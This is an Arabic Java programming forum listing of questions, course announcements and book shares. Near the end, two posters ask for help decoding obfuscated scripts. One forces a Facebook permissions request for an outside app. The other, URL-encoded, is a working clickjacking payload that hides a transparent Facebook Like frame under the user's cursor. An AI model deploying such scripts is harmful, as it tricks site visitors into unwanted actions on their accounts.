    السلام عليكم أنا عملت برنامج جافا يعتمد على قاعدة بيانات sql server بعدين قررت أعملو ع قاعدة بيانات أكسس وعملت استيراد للقاعدة من sql server للأكسس ولما شغل البرنامج ع النتبينس يشتغل نظامي بس لما أعمل ملف jar للمشروع وشغلو تطلع البيانات بحروف ورموز غير معروفة أو مفهومة الرجاء المساعدة
  4. ايش المشكله

    package customer;import java.util.Scanner;public class Customer { public static void main(String[] args) {String customerr;int name;int adress;int phoneNumber;Scanner input=new Scanner(System.in);System.out.println("please enter your name");customerr=input.nextLine();name=input.nextInt();adress=input.nextInt();phoneNumber=input.nextInt();switch(customerr){ case "Ahmad": case "0555150055": System.out.println("Hello Ahmad ,you will get a 10% discount from the total payment"); System.out.println("total priceis: 3700 SR ,you will be directed to our E-payment page" ); System.out.println("thank you for using our System " );break; case "Mohammad Abdullah": case "0595911919": System.out.println("Hello Mohammad Abdullah,you will get a 10% discount from the total payment"); System.out.println("total priceis: 3600 SR ,you will be directed to our E-payment page" ); System.out.println("thank you for using our System " );break;default: System.out.println("Hello " +name+ "please complete you information"); System.out.println("you phone number :"+adress ); System.out.println("you phone number :"+phoneNumber ); System.out.println("total priceis: 3500 SR ,you will be directed to our E-payment page" ); System.out.println("thank you for using our System " );} }}السلام عليكم ورحمة الله وبركاته عندي برنامج بـ swich مايطلع لي error  ومو راضي يتنفذ ممكن تقولين لي ايش المشكله
  5. السلام عليكم   يعد هدا اول موضوع لي في المنتدى الدي استفدت منه كتيرا  ايام كنت طالب مهندس   و الان احب ان اقدم لكم كتاب مهم جدا لاحتراف الجافا   و ان شاء الله انا رهن الخدمة  في عالم الجافا   للتخميل   http://www.eyesfile.ca/c91oz454666e/Programer_Java_5_and_6.rar.html
  6. السلام عليكم لدي مشروع تخرج يعتمد على قراءة مجموعة من المدخلات عبر مدخل الفلاشة , كبداية كتبت هذا البرنامج لكني حصلت على خطاء , هل يمكنكم مساعدتي ؟   كود الجافا موجود في المرفقات ( البرنامج يعمل كمتنصت على مداخل الفلاش اذا كانت موصولة مع اجهزة ام لا )   الخطاء موجود في المرفقات , لقد تأكدت من صحة الكود بالاضافة الى تضمين المكتبات المطلوبة   شكرا لكم UsbListner.rar
  7. اليوم انا بدات اتعلم جافا ولدي استفسار حول ما سمعت ان الجافا انتها عصرها ولا يوجد لها اي تطوير او تحديث بسبب قيام شركة اوركيل بشراء شركة سن  ملخص الموضوع  هل شركة ولغة  جافا ستستمر واتابع التعلم    او اقوم  بالتحويل على لغة اخرى  وما هية الغة الممكن دراستها  مع الشكر الجزيل والرجاء الرد باسرع وقت للضرورة 
  8. لسلام عليكم ورحمة الله وبركاته مبرمج جافا متعاون لتقديم الحلول والدعم في المشاريع والبرامج في طور التنفيذ ، أملك العديد من المهارات في لغات البرمجة .   قادر على مساعدة الشركات الصغيرة والمتوسطة والكبيرة في إيجاد برامج تساعدها على التقدم في مجال عملها . ( البرامج الطبية ، البرامج المكتبية ، برامج الأعمال ، الربط مع الشركات .. وغيرها ) .   كذلك يوجد لدي برنامج أقساط سهل الاستخدام وخفيف لتنظيم العمل .   مع العلم أني متواجد في المملكة العربية السعودية ، الرياض  رقم الأتصال : 0596337099 من خارج المملكة : 00966596337099  الأيميل   : ( [email protected]
  9.   السلام عليكم ورحمة الله وبركاته    مرحباً بالجميع، رمضان مبارك عليكم      لأهمية إثراء المحتوى العربي، ولأجل مساعدة الكثيرين الذين أتقنوا أساسيات لغة جافا ويريدون إكمال مسيرتهم فيها    هذه سلسلة دروس برمجة واجهات المستخدم في جافا  أو مايعرف ب Graphical user interface ، وإختصار تدعى GUI  الدورة راح تكون على هذه القناة في اليوتيوب  http://www.youtube.com/user/AddDelta   سأطرح هنا الدروس حتى تعم الفائدة، وكذلك لمن أراد السؤال أو الإستفسار فأتشرف بالإجابة على الأسئلة هنا في هذا الموضوع أو في طرق التواصل الموجودة في الدروس. ملاحظات:  " جميع الدروس مرفوعة بدقة HD " "جميع الفيديوهات من إعدادي الشخصي "    نبدأ هذا الدورة مع أول الدروس :        1- المقدمة ومتطلبات الدورة    http://www.youtube.com/watch?v=MkkbK-cVvoE   * * 2-  أصناف الكلاسات الرسومية ومكتباتها، Event, Listener    http://www.youtube.com/watch?v=eeR-rK4S830   * * 3-  إنشاء أول إطار رسومي في جافا باستخدام JFrame    http://www.youtube.com/watch?v=jXQ5eBOlH4c   * * 4- إنشاء إطار رسومي بالطريقة الدارجة باستخدام الوراثة    http://www.youtube.com/watch?v=T5Wcy0d16wk     * * 5-  نظرة أولى على الكائنات JButton & JLabel    http://www.youtube.com/watch?v=McDRaqeOER0     سأكمل في الرد القادم بقية الدروس إن شاء الله      
  10. الاخوة مبرمجين الاندرويد : اريد كود للإتصال بقاعدة البيانات MYSQL عن طريق الجافا وياليت لو كود كيفية الاستعلام من قاعدة البيانات وعرض النتائج على الواجهة ..
  11. السلام عليكم ممكن تعطوني معلومات عن اجتياز امتحان جافا اوراكل داخل المغرب   و الثمن و شكرا !
  12. احيانا نضطر "ولســـــوء الحظ" الى استخدام أكثر من لغـــــة برمجية في عملنا من اجــــل برمجة تطبيق معين يخدم احتياجاتنا الخاصة , على سبيل المثال تم الحصول على برنامج كبير مكتوب مسبقا بلغة الدلفي وتم برمجة بعض مكوناته بالجافا بصورة مستقلة , بعدها دعت الضرورة الى استخدام .Net في المشروع لاكمال البقية بسبب صعوية الامر او عدم وجود الادوات والمكتبات اللازمة لتنفيذ ذلك في اللغات البرمجية السابقة   السؤال المهم الذي يطرحه نفسه , كيف يتم الربط بين هذه الاكواد وهل هناك حل بسيط وفعال يمكن ان يحل مشكلة تعدد اللغات البرمجية
  13. فكرة لمشروع او برنامج

    السلام عليكم و رحمة الله ... اخواني لدي مشروع مدرسي في مدة 3 اشهر .. و اكون لكم شاكر لو افدتموني بافكار ..سواء برمجة ويب او ديسكتوب او موبايل اندرويد  و قد يكون مشروع يجمع بين اتنين باستخدام اتصال سوكت مثلا . لو احد لديه فكرة تطبيق او برنامج ..او ربما مشاكل يتمنى ان يجد لها حل  ...كل ما احتاجه هو الفكرة حتى ابدا العمل على البرمجة و شكرا مسبقا
  14. احترف الجافا - سلسلة من ثلاثة كتب عربية

    الحمد لله هذه كتب أحببت أن أرفعها على المنتدى ليدوم النفع بها إن شاء الله وعملا بقول النبي صلى الله عليه وسلم الدال على الخير كفاعله   وهي من مقررات التدريس في المملكة العربية السعودية   ما أريد إلا دعوة صالحة     be_professional_in_java_language.rar
  15. كورس أندرويد (Android Application Development Training)       رابط المحاضرات   http://www.youtube.com/playlist?list=PLb7yniFBnvZJ4KkZJ9k9rDao0CBbTKSv_     رابط اخر للمحاضرات http://www.aldarayn.net/forum/showthread.php?t=2258     رابط القسم الخاص بالكورس على منتدى ملتقى الدارين http://www.aldarayn.net/forum/forumdisplay.php?f=172     ووفقكم الله والجميع لما يحبه ويرضاه والسلام عليكم ورحمة الله وبركاته
  16. كورس جافا متقدم (Advanced Java Course) مجانى بنظام التعليم عن بعد والمحاضرات مسجلة ايضا         هذا رابط المحاضرات       وهذا رابط القسم الخاص بالكورس على منتدى اكاديمية ملتقى الدارين  http://www.aldarayn.net/forum/forumdisplay.php?f=182   ووفقكم الله والجميع لما يحبه ويرضاه والسلام عليكم ورحمة الله وبركاته  
  17. بدء كورس Java Server Faces - JSF مجانى بنظام التعليم عن بعد فى 12ابريل 2013 والمحاضرات مسجلة     وقمت بعمل الموضوع هنا فى القسم بعد الاعلان عنه فى قسم الاعلانات بمجرد بدء تحميل المحاضرات لوضع محاضرات الكورس فى القسم لتعم الفائدة وتوجه للقسم الخاص بها       وهذا رابط المحاضرات       وهذا رابط جدول المحاضرات لم اراد المتابعة والحضور مجانا http://aldarayn.com/index.php/students/schedule-of-lectures     وهذا رابط القسم الخاص بالكورس http://www.aldarayn.net/forum/forumdisplay.php?f=178       وهذا رابط فيه اعلان الكورس بالمنتدى فيه تفاصيل اخرى http://arabteam2000-forum.com/index.php/topic/276922-كورس-java-server-faces-jsf-مجانى-بنظام-التعليم-عن-بعد-يبداء-يوم-12أب/       ووفقكم الله والجميع لما يحبه ويرضاه والسلام عليكم ورحمة الله وبركاته
  18. السلام عليكم احببت ان اشرككم صفحتى على الفيسبوك هي بخصوص الجافا http://www.facebook.com/java.skills  
  19. بسم الله الرحمن الرحيم .. اخواتى الكرم ممكن مساعده   احتاج منكم المساعدة في فك تشفير هذا الكود :       <script>window.location.replace("https:\/\/www.facebook.com\/login.php?api_key=150018388509141&skip_api_login=1&display=page&cancel_url=http\u00253A\u00252F\u00252Fsw2ly.com\u00252Ffb\u00252F\u00253Ferror_reason\u00253Duser_denied\u002526error\u00253Daccess_denied\u002526error_description\u00253DThe\u00252Buser\u00252Bdenied\u00252Byour\u00252Brequest.\u002526state\u00253D4b3d8eac5d6d24072b1739851caf7600&fbconnect=1&next=https\u00253A\u00252F\u00252Fwww.facebook.com\u00252Fdialog\u00252Fpermissions.request\u00253F_path\u00253Dpermissions.request\u002526app_id\u00253D150018388509141\u002526client_id\u00253D150018388509141\u002526redirect_uri\u00253Dhttp\u0025253A\u0025252F\u0025252Fsw2ly.com\u0025252Ffb\u0025252F\u002526display\u00253Dpage\u002526response_type\u00253Dcode\u002526state\u00253D4b3d8eac5d6d24072b1739851caf7600\u002526perms\u00253Duser_groups\u0025252Cpublish_stream\u002526fbconnect\u00253D1\u002526from_login\u00253D1&rcount=1");</script>      وجزاكم الله كل خير ^_^
  20. كورس Java Server Faces - JSF مجانى بنظام التعليم عن بعد يبداء يوم 12 أبريل 2013 إن شاء الله         الكورس مجانى بدون اى مقابل و كل العمل فيه تطوعى والاكاديمية خيرية غير ربحية قائمة على العمل التطوعى ونسأل الله لهم الاخلاص والقبول         المحاضرات مباشرة مع المحاضر ولا يحتاج الامر لغير المتصفح فقط لحضور المحاضرة وهذا رابط القسم الخاص بالكورس على منتدى الاكاديمية : http://www.aldarayn.net/forum/forumdisplay.php?f=178   وهذا رابط حدث الكورس على الفيس بوك : https://www.facebook.com/events/610795262281445/     وقد تم عمل كورس j2ee من قبل نفس المحاضر يشرح فيه الاساسيات و jsp و servlet وقد اشرت لهذا الكورس فى هذا الموضوع ويمكن الاطلاع على الكورس لزيادة المعرفة والتأكد : http://arabteam2000-forum.com/index.php/topic/275045-كورس-javaee-مجانى-بنظام-التعليم-عن-بعد-والمحاضرات-مسج/ وهذا رابط الاكاديمية : http://www.aldarayn.com/ وهذا رابط المنتدى التابع للاكاديمية: http://www.aldarayn.net/forum/forum.php     ووفقكم الله والجميع لما يحبه ويرضاه والسلام عليكم ورحمة الله وبركاته
  21. السلام عليكم ورحمة الله وبركاته       تعرفت اليوم على كورس اخر  فى  JavaEE  والحقيقة انا سعيد بالكورس ده بالذات لأنه من نفس الشخص اللى عمل كورس J2SE اللى  فى الموضوع ده   http://arabteam2000-forum.com/index.php/topic/271355-كورس-عربى-فيديو-ممتاز-فى-javase/   والحقيقة فادنى جدا الكورس ده وكان له العديد من المميزات ارجو ان يستفيد منه الجميع باذن الله  وبارك الله فى هذا الشخص الحقيقة وجزاه الله كل خير لإكامله الكورس السابق  فى J2SE وبدئه فى كورس جديد فى J2EE لكى تكتمل المجموعة ونسأل الله ان يجعله فى ميزان حسناته وهذا رابط الكورس على اليوتيوب والكورس بدء فى اول فبراير 2013 ومزال مستمر وربنا يوفقه لإتمامه على خير ان شاء الله     ووفقكم الله والجميع لما يحبه ويرضاه والسلام عليكم ورحمة الله وبركاته
  22. السلام عليكم ورحمة الله تعالى وبركاته   مرحبا إخواني أعضاء وزوار هذا الصرح العظيم   أتمنى المساعدة فيما يتعلق بمشروع تخرج , ليس لي وإنما لآخرين   وأنا أحاول المساعدة .. وبإمكاني النقاش مع من بإمكانه الإفادة للوصول   إلى قدر مناسب من المشروع   عموما   المشروع هو : برمجة تطبيق بسيط يقوم بجلب الأحوال الجوية من موقع خاص بها   البرمجة والتصميم أمر سهل تبقى قضية الفكرة والدوال أو اللوغارتيمات التي يمكن أن تساعدنا   لأجل الوصول إلى برمجة هذا التطبيق   في انتظاركم إخواني وأي نصائح مهما كانت صغيرة أو كبيرة , نتشرف بها   تحياتي , Regards
  23. بسم الله الرحمن الرحيم ..   احتاج منكم المساعدة في فك تشفير هذا الكود :   <script language='Javascript'> <!--document.write(unescape('%3C%64%69%76%20%69%64%3D%22%66%62%2D%72%6F%6F%74%22%3E%3C%2F%64%69%76%3E%0A%3C%73%63%72%69%70%74%3E%28%66%75%6E%63%74%69%6F%6E%28%64%2C%20%73%2C%20%69%64%29%20%7B%0A%76%61%72%20%6A%73%2C%20%66%6A%73%20%3D%20%64%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%73%29%5B%30%5D%3B%0A%69%66%20%28%64%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%69%64%29%29%20%72%65%74%75%72%6E%3B%0A%6A%73%20%3D%20%64%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%73%29%3B%20%6A%73%2E%69%64%20%3D%20%69%64%3B%0A%6A%73%2E%73%72%63%20%3D%20%22%2F%2F%63%6F%6E%6E%65%63%74%2E%66%61%63%65%62%6F%6F%6B%2E%6E%65%74%2F%61%72%5F%41%52%2F%61%6C%6C%2E%6A%73%23%78%66%62%6D%6C%3D%31%22%3B%0A%66%6A%73%2E%70%61%72%65%6E%74%4E%6F%64%65%2E%69%6E%73%65%72%74%42%65%66%6F%72%65%28%6A%73%2C%20%66%6A%73%29%3B%0A%7D%28%64%6F%63%75%6D%65%6E%74%2C%20%27%73%63%72%69%70%74%27%2C%20%27%66%61%63%65%62%6F%6F%6B%2D%6A%73%73%64%6B%27%29%29%3B%0A%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%76%61%72%20%69%6E%74%65%72%76%61%6C%3B%0A%24%28%66%75%6E%63%74%69%6F%6E%28%29%0A%7B%0A%69%6E%74%65%72%76%61%6C%3D%73%65%74%49%6E%74%65%72%76%61%6C%28%22%75%70%64%61%74%65%41%63%74%69%76%65%45%6C%65%6D%65%6E%74%28%29%3B%22%2C%20%35%30%29%3B%0A%7D%29%3B%0A%66%75%6E%63%74%69%6F%6E%20%75%70%64%61%74%65%41%63%74%69%76%65%45%6C%65%6D%65%6E%74%28%29%0A%7B%0A%69%66%20%28%20%24%28%64%6F%63%75%6D%65%6E%74%2E%61%63%74%69%76%65%45%6C%65%6D%65%6E%74%29%2E%61%74%74%72%28%27%69%64%27%29%3D%3D%22%66%62%66%72%61%6D%65%22%20%29%20%0A%7B%0A%63%6C%65%61%72%49%6E%74%65%72%76%61%6C%28%69%6E%74%65%72%76%61%6C%29%3B%0A%69%66%6C%61%67%3D%31%3B%20%0A%7D%20%0A%7D%0A%0A%3C%2F%73%63%72%69%70%74%3E%0A%3C%64%69%76%20%73%74%79%6C%65%3D%22%6F%76%65%72%66%6C%6F%77%3A%20%68%69%64%64%65%6E%3B%20%77%69%64%74%68%3A%20%31%30%70%78%3B%20%68%65%69%67%68%74%3A%20%31%32%70%78%3B%20%70%6F%73%69%74%69%6F%6E%3A%20%61%62%73%6F%6C%75%74%65%3B%20%66%69%6C%74%65%72%3A%61%6C%70%68%61%28%6F%70%61%63%69%74%79%3D%30%29%3B%20%2D%6D%6F%7A%2D%6F%70%61%63%69%74%79%3A%30%2E%30%3B%20%2D%6B%68%74%6D%6C%2D%6F%70%61%63%69%74%79%3A%20%30%2E%30%3B%20%6F%70%61%63%69%74%79%3A%20%30%2E%30%3B%22%20%69%64%3D%22%69%63%6F%6E%74%61%69%6E%65%72%22%3E%0A%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%66%61%63%65%62%6F%6F%6B%2E%63%6F%6D%2F%70%6C%75%67%69%6E%73%2F%6C%69%6B%65%2E%70%68%70%3F%68%72%65%66%3D%68%74%74%70%73%3A%2F%2F%77%77%77%2E%66%61%63%65%62%6F%6F%6B%2E%63%6F%6D%2F%42%42%6F%79%4F%66%50%61%6C%65%73%74%69%6E%65%26%61%6D%70%3B%6C%61%79%6F%75%74%3D%73%74%61%6E%64%61%72%64%26%61%6D%70%3B%73%68%6F%77%5F%66%61%63%65%73%3D%66%61%6C%73%65%26%61%6D%70%3B%77%69%64%74%68%3D%34%35%30%26%61%6D%70%3B%61%63%74%69%6F%6E%3D%6C%69%6B%65%26%61%6D%70%3B%66%6F%6E%74%3D%74%61%68%6F%6D%61%26%61%6D%70%3B%63%6F%6C%6F%72%73%63%68%65%6D%65%3D%6C%69%67%68%74%26%61%6D%70%3B%68%65%69%67%68%74%3D%38%30%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%73%74%79%6C%65%3D%22%62%6F%72%64%65%72%3A%6E%6F%6E%65%3B%20%6F%76%65%72%66%6C%6F%77%3A%68%69%64%64%65%6E%3B%20%77%69%64%74%68%3A%35%30%70%78%3B%20%68%65%69%67%68%74%3A%32%33%70%78%3B%22%20%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65%6E%63%79%3D%22%74%72%75%65%22%20%69%64%3D%22%66%62%66%72%61%6D%65%22%20%6E%61%6D%65%3D%22%66%62%66%72%61%6D%65%22%3E%3C%2F%69%66%72%61%6D%65%3E%0A%3C%2F%64%69%76%3E%0A%3C%73%63%72%69%70%74%3E%0A%76%61%72%20%69%66%6C%61%67%20%3D%20%30%3B%0A%76%61%72%20%69%63%6F%6E%74%61%69%6E%65%72%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%69%63%6F%6E%74%61%69%6E%65%72%27%29%3B%20%0A%76%61%72%20%73%74%61%6E%64%61%72%64%62%6F%64%79%3D%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6D%70%61%74%4D%6F%64%65%3D%3D%22%43%53%53%31%43%6F%6D%70%61%74%22%29%3F%20%64%6F%63%75%6D%65%6E%74%2E%64%6F%63%75%6D%65%6E%74%45%6C%65%6D%65%6E%74%20%3A%20%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%0A%66%75%6E%63%74%69%6F%6E%20%6D%6F%75%73%65%46%6F%6C%6C%6F%77%65%72%28%65%29%7B%0A%69%66%20%28%77%69%6E%64%6F%77%2E%65%76%65%6E%74%29%20%0A%7B%20%0A%69%63%6F%6E%74%61%69%6E%65%72%2E%73%74%79%6C%65%2E%74%6F%70%20%3D%20%28%77%69%6E%64%6F%77%2E%65%76%65%6E%74%2E%79%2D%35%29%2B%73%74%61%6E%64%61%72%64%62%6F%64%79%2E%73%63%72%6F%6C%6C%54%6F%70%2B%27%70%78%27%3B%0A%69%63%6F%6E%74%61%69%6E%65%72%2E%73%74%79%6C%65%2E%6C%65%66%74%20%3D%20%28%77%69%6E%64%6F%77%2E%65%76%65%6E%74%2E%78%2D%35%29%2B%73%74%61%6E%64%61%72%64%62%6F%64%79%2E%73%63%72%6F%6C%6C%4C%65%66%74%2B%27%70%78%27%3B%0A%7D%20%0A%65%6C%73%65%20%0A%7B%0A%69%63%6F%6E%74%61%69%6E%65%72%2E%73%74%79%6C%65%2E%74%6F%70%20%3D%20%28%65%2E%70%61%67%65%59%2D%35%29%2B%27%70%78%27%3B%0A%69%63%6F%6E%74%61%69%6E%65%72%2E%73%74%79%6C%65%2E%6C%65%66%74%20%3D%20%28%65%2E%70%61%67%65%58%2D%35%29%2B%27%70%78%27%3B%0A%7D%0A%7D%0A%64%6F%63%75%6D%65%6E%74%2E%6F%6E%6D%6F%75%73%65%6D%6F%76%65%20%3D%20%66%75%6E%63%74%69%6F%6E%28%65%29%20%7B%0A%69%66%20%28%69%66%6C%61%67%20%3D%3D%20%30%29%20%7B%6D%6F%75%73%65%46%6F%6C%6C%6F%77%65%72%28%65%29%3B%7D%0A%7D%0A%2F%2F%2D%2D%3E%0A%3C%2F%53%63%72%69%70%74%3E%0A'));//--></script>